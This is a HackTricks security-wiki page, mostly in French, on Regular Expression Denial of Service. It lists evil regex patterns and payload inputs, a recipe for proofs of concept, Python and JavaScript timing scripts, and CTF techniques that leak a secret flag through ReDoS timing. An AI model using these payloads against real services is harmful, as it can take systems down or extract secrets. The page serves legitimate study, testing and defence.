Regular expression Denial of Service - ReDoS

Reading time: 7 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Regular Expression Denial of Service (ReDoS)

Un Regular Expression Denial of Service (ReDoS) survient lorsqu'un attaquant exploite des faiblesses dans le fonctionnement des regular expressions (une méthode pour rechercher et faire correspondre des motifs dans du texte). Parfois, quand des regular expressions sont utilisées, elles peuvent devenir très lentes, surtout si le texte à traiter augmente. Cette lenteur peut empirer très rapidement avec de petites augmentations de la taille du texte. Des attaquants peuvent exploiter ce problème pour faire tomber un programme qui utilise des regular expressions pendant un long moment.

The Problematic Regex Naïve Algorithm

Check the details in https://owasp.org/www-community/attacks/Regularexpression_Denial_of_Service-_ReDoS

Engine behavior and exploitability

  • Most popular engines (PCRE, Java java.util.regex, Python re, JavaScript RegExp) use a backtracking VM. Crafted inputs that create many overlapping ways to match a subpattern force exponential or high-polynomial backtracking.
  • Some engines/libraries are designed to be ReDoS-resilient by construction (no backtracking), e.g. RE2 and ports based on finite automata that provide worst‑case linear time; using them for untrusted input removes the backtracking DoS primitive. See the references at the end for details.

Evil Regexes

Un evil regular expression pattern est un motif qui peut se bloquer sur une entrée spécialement construite provoquant un DoS. Les evil regex patterns contiennent typiquement des groupements avec répétition et des répétitions ou alternances qui se chevauchent à l'intérieur du groupe répété. Quelques exemples de evil patterns incluent :

  • (a+)+
  • ([a-zA-Z]+)*
  • (a|aa)+
  • (a|a?)+
  • (.*a){x} for x > 10

Tous ceux-ci sont vulnérables à l'entrée aaaaaaaaaaaaaaaaaaaaaaaa!.

Practical recipe to build PoCs

La plupart des cas catastrophiques suivent cette structure :

  • Préfixe qui permet d'atteindre le sous-motif vulnérable (optionnel).
  • Longue séquence d'un caractère qui provoque des correspondances ambiguës à l'intérieur de quantificateurs imbriqués/chevauchants (par ex., beaucoup de a, _ ou espaces).
  • Un caractère final qui force l'échec global afin que le moteur doive backtracker à travers toutes les possibilités (souvent un caractère qui ne correspondra pas au dernier token, comme !).

Exemples minimaux :

  • (a+)+$ vs input "a"*N + "!"
  • \w*_*\w*$ vs input "v" + "_"*N + "!"

Augmentez N et observez une croissance super‑linéaire.

Petit outil de mesure du temps (Python)

python
import re, time
pat = re.compile(r'(\w*_)\w*$')
for n in [2**k for k in range(8, 15)]:
s = 'v' + '_'*n + '!'
t0=time.time(); pat.search(s); dt=time.time()-t0
print(n, f"{dt:.3f}s")

ReDoS Payloads

String Exfiltration via ReDoS

Dans un CTF (ou bug bounty) il se peut que vous contrôliez la Regex avec laquelle une information sensible (le flag) est comparée. Il peut alors être utile de provoquer le page freeze (timeout ou un temps de traitement plus long) si la Regex matche et pas si elle ne matche pas. De cette façon vous pourrez exfiltrate la string char by char :

  • In this post vous pouvez trouver cette règle ReDoS : ^(?=<flag>)((.*)*)*salt$
  • Exemple : ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$
  • In this writeup vous trouverez celle-ci : <flag>(((((((.*)*)*)*)*)*)*)!
  • In this writeup he used: ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

ReDoS Contrôler l'input et la Regex

Les exemples suivants sont des exemples de ReDoS où vous contrôlez à la fois l'input et la regex :

javascript
function check_time_regexp(regexp, text) {
var t0 = new Date().getTime()
new RegExp(regexp).test(text)
var t1 = new Date().getTime()
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
;[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach((regexp) => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

Remarques sur les langages/moteurs pour attaquants

  • JavaScript (browser/Node) : le RegExp intégré est un moteur à backtracking et souvent exploitable lorsque regex et input sont influencés par un attaquant.
  • Python : re utilise le backtracking. De longues séquences ambiguës combinées à une queue échouante donnent souvent un backtracking catastrophique.
  • Java : java.util.regex est à backtracking. Si vous ne contrôlez que l'input, cherchez des endpoints utilisant des validateurs complexes ; si vous contrôlez les patterns (p. ex. règles stockées), ReDoS est généralement trivial.
  • Les moteurs tels que RE2/RE2J/RE2JS ou la crate Rust regex sont conçus pour éviter le backtracking catastrophique. Si vous tombez sur ceux-ci, concentrez‑vous sur d'autres goulets d'étranglement (p. ex. patterns énormes) ou trouvez des composants qui utilisent encore des moteurs à backtracking.

Tools

Astuce : Quand vous ne contrôlez que l'input, générez des chaînes dont la longueur double (p. ex., 2^k caractères) et mesurez la latence. Une croissance exponentielle indique fortement un ReDoS exploitable.

References

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks